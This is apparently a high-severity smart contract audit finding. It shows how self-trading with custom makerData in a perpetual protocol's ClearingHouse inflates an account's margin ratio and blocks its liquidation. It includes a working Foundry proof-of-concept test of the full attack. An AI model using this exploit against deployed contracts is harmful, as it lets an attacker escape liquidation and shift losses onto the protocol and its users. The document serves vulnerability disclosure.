Quick Lavender Duck

high

# The attacker used self-transaction to modify the margin, causing the account to not be liquidated as expected.

## Summary
The attacker uses self-transaction to customize the `makerData` parameters modify the `MarginRatio` .causing the account to not be liquidated as expected.
## Vulnerability Detail
#### The attacker creates a short position(1 ether) on the maker
```zsh
  Margin 100000000000000000000
  AccountValue 100000000000000000000
  MarginRequirement.INITIAL 10000000000000000000
  MarginRequirement.MAINTENANCE 6250000000000000000
  FreeCollateralForTrade 90000000000000000000
  PositionSize -1000000000000000000
  MarginRatio 1000000000000000000
  OpenNotional 100000000000000000000
```
#### The attacker sets himself as the maker and sets makerData to execute the transaction
The calling sequence is as follows
`ClearingHouse::closePosition()`->`ClearingHouse::_openPosition()`->`ClearingHouse::_checkPriceBand()`->`Vault.settlePosition()`
```js
// function _openPosition()
        } else {
            // Note that params.maker here could be arbitrary account, so we do allow arbitrary account
            // to set arbitrary price when fillOrder.
            // However, we also check margin requirements with oracle price for both taker and maker after openPosition
            // FIXME: this is not enough, see OrderGatewayV2SettleOrderIntTest.test_SettleOrder_AtExtremePrice()
            _checkIsSenderAuthorizedBy(params.maker);
            try this.decodeMakerOrder(params.makerData) returns (MakerOrder memory makerOrder) {
@>                oppositeAmount = makerOrder.amount;
            } catch (bytes memory) {
                revert LibError.InvalidMakerData();
            }
            if (oppositeAmount == 0) revert LibError.InvalidMakerData();
        }
```
The attacker controls the value of `result.quote` or `result.base` through `makerData`.
https://github.com/sherlock-audit/2024-02-perpetual/blob/main/perp-contract-v3/src/clearingHouse/ClearingHouse.sol#L325-L331
Taking the POC case as an example, we customize `result.quote` through `makerData`
```js
// function _openPosition()
            } else {
                // quote to exactOutput(base), Q2B base+ quote-
                result.base = params.amount.toInt256();
@>                result.quote = -oppositeAmount.toInt256();
            }
        }
@>        _checkPriceBand(params.marketId, result.quote.abs().divWad(result.base.abs()));
```
When the program executes to `ClearingHouse::_checkPriceBand()`, it will encounter two situations:
1. Since `ClearingHouse::_getPrice()` and `OracleMaker::_getPrice()` call the same target contract, unless there are special circumstances, the marketId will most likely ignore `price band ratio`, that is, `price band ratio == 0`, An attacker can freely enter any `result.quote` greater than 0.Margin can be significantly modified through multiple operations,Also use the test process of the POC below. At the price of 100e18, a short position of 1ether is opened. It cannot be liquidated when the price is 199e18.
https://github.com/sherlock-audit/2024-02-perpetual/blob/main/perp-contract-v3/src/clearingHouse/ClearingHouse.sol#L466-L468
2. If `Config::setPriceBandRatio` is called to set the corresponding value, such as `price band ratio = 10%`, then the attacker only needs to ensure `result.quote.abs().divWad(result.base.abs() ) >= lowerPrice`.`ClearingHouse::_checkPriceBand()` will execute normally(It is worth noting that the price difference between `lowerPrice` and `upperPrice` may amplify the margin gap when trading),
Finally execute `Vault.settlePosition()`
According to the situation of `price band ratio = 10%`, the attacker's `marginRequirement` is reduced and `marginRatio` is increased. At this time, the previous liquidation price can no longer liquidate the attacker's position.
```zsh
  Margin 105000000000000000000
  UnrealizedPnl -5000000000000000000
  AccountValue 100000000000000000000
  MarginRequirement.INITIAL 9500000000000000000
  MarginRequirement.MAINTENANCE 5937500000000000000
  FreeCollateralForTrade 90500000000000000000
  PositionSize -1000000000000000000
  FreeMargin 100000000000000000000
  FreeCollateral 90500000000000000000
  MarginRatio 1052631578947368421
  OpenNotional 95000000000000000000
```
In the end, the attacker only needs to wait for the price to return to expectations before closing the position on his own.
### Poc
example: price band ratio == 10%
(When `price band ratio == 0`, you only need to modify `makerData` to a very small value and execute self-trading multiple times, and the strong liquidation price will deviate significantly.)
Please add it to `Liquidate.int.t.sol` to execute
```js
    // Modify liquidation price
    // 1. The attacker creates a short position on the maker
    // 2. The attacker sets himself as the maker and sets makerData to execute the transaction
    // 3. If the price drops, the attacker's liquidation price will be much higher than the predetermined liquidation price, making it impossible to be liquidated.
    // 4. Waiting for the price to return to expectations, the attacker closes the position on his own
    function testModifyAccountMarginRatio() public {
        // init attacker
        address attacker = makeAddr("attacker");
        uint256 attackerStartCollateralToken = 100e6;
        _deposit(marketId, attacker, attackerStartCollateralToken);
        // set PriceBandRatio -> 10%
        config.setPriceBandRatio(marketId, 0.1 ether);
        // set price -> 100e18
        maker.setBaseToQuotePrice(100e18);
        _mockPythPrice(100, 0);
        vm.startPrank(attacker);
        ////////////////////////////////////
        ///// short 1 ether in maker ///////
        ////////////////////////////////////
        // attacker short 1 ether in maker
        clearingHouse.openPosition(
            IClearingHouse.OpenPositionParams({
                marketId: marketId,
                maker: address(maker),
                isBaseToQuote: true,
                isExactInput: true,
                amount: 1 ether,
                oppositeAmountBound: 100 ether,
                deadline: block.timestamp,
                makerData: ""
            })
        );
        ////////////////////////////////////
        /////// normal circumstances ///////
        ////////////////////////////////////
        // 100e18 -> 193.76e18
        // margin ratio < 6.25%
        assertEq(vault.getMarginRatio(marketId, attacker, 193.76e18), 6.24e16);
        // can be liquidated
        assertEq(clearingHouse.isLiquidatable(marketId, attacker, 193.76e18), true);

        /////////////////////////////////////
        /// Attackers trade on their own ////
        /////////////////////////////////////
        // after transaction attacker closePosition in self and set makerData
        bytes memory makerData = abi.encode(IClearingHouse.MakerOrder({ amount: 90 ether }));
        // if price band ratio == 0 
        // for (uint256 i = 0; i < 5; ++i) {
        clearingHouse.closePosition(
            IClearingHouse.ClosePositionParams({
                marketId: marketId,
                maker: address(attacker),
                oppositeAmountBound: type(uint256).max,
                deadline: block.timestamp,
                makerData: makerData
            })
        );
        // }
        //////////////////////////////////
        ///Unable to liquidate normally///
        //////////////////////////////////
        // set price -> 193.76e18
        maker.setBaseToQuotePrice(194e18);
        _mockPythPrice(194, 0);
        // Unable to liquidate
        assertEq(clearingHouse.isLiquidatable(marketId, attacker, 194e18), false);

        //////////////////////////////////
        ///  Attacker closes position  ///
        //////////////////////////////////
        // set price -> 50e18
        maker.setBaseToQuotePrice(50e18);
        _mockPythPrice(50, 0);
        // attacker close position in maker
        clearingHouse.openPosition(
            IClearingHouse.OpenPositionParams({
                marketId: marketId,
                maker: address(maker),
                isBaseToQuote: false,
                isExactInput: false,
                amount: 1 ether,
                oppositeAmountBound: 50 ether,
                deadline: block.timestamp,
                makerData: ""
            })
        );
        assertEq(vault.getPositionSize(marketId, attacker), 0);
        assertEq(vault.getOpenNotional(marketId, attacker), 0);
        // attacker withdraw
        uint256 attackerMargin = uint256(vault.getMargin(marketId, attacker));
        vault.transferMarginToFund(marketId, attackerMargin / 1e12);
        vault.withdraw(attackerMargin / 1e12);
        vm.stopPrank();
        assertEq(collateralToken.balanceOf(attacker) - attackerStartCollateralToken, 50e6);
    }
    [PASS] testModifyAccountMarginRatio() (gas: 1592859)
```
## Impact
The attacker uses self-transaction to customize the `makerData` parameters modify the `MarginRatio` .causing the account to not be liquidated as expected.
## Code Snippet
https://github.com/sherlock-audit/2024-02-perpetual/blob/main/perp-contract-v3/src/clearingHouse/ClearingHouse.sol#L288-L299
https://github.com/sherlock-audit/2024-02-perpetual/blob/main/perp-contract-v3/src/clearingHouse/ClearingHouse.sol#L325-L331
https://github.com/sherlock-audit/2024-02-perpetual/blob/main/perp-contract-v3/src/clearingHouse/ClearingHouse.sol#L466-L468
https://github.com/sherlock-audit/2024-02-perpetual/blob/main/perp-contract-v3/src/clearingHouse/ClearingHouse.sol#L462-L476

## Tool used

Manual Review

## Recommendation
Accounts are prohibited from passing custom parameters in self-transactions
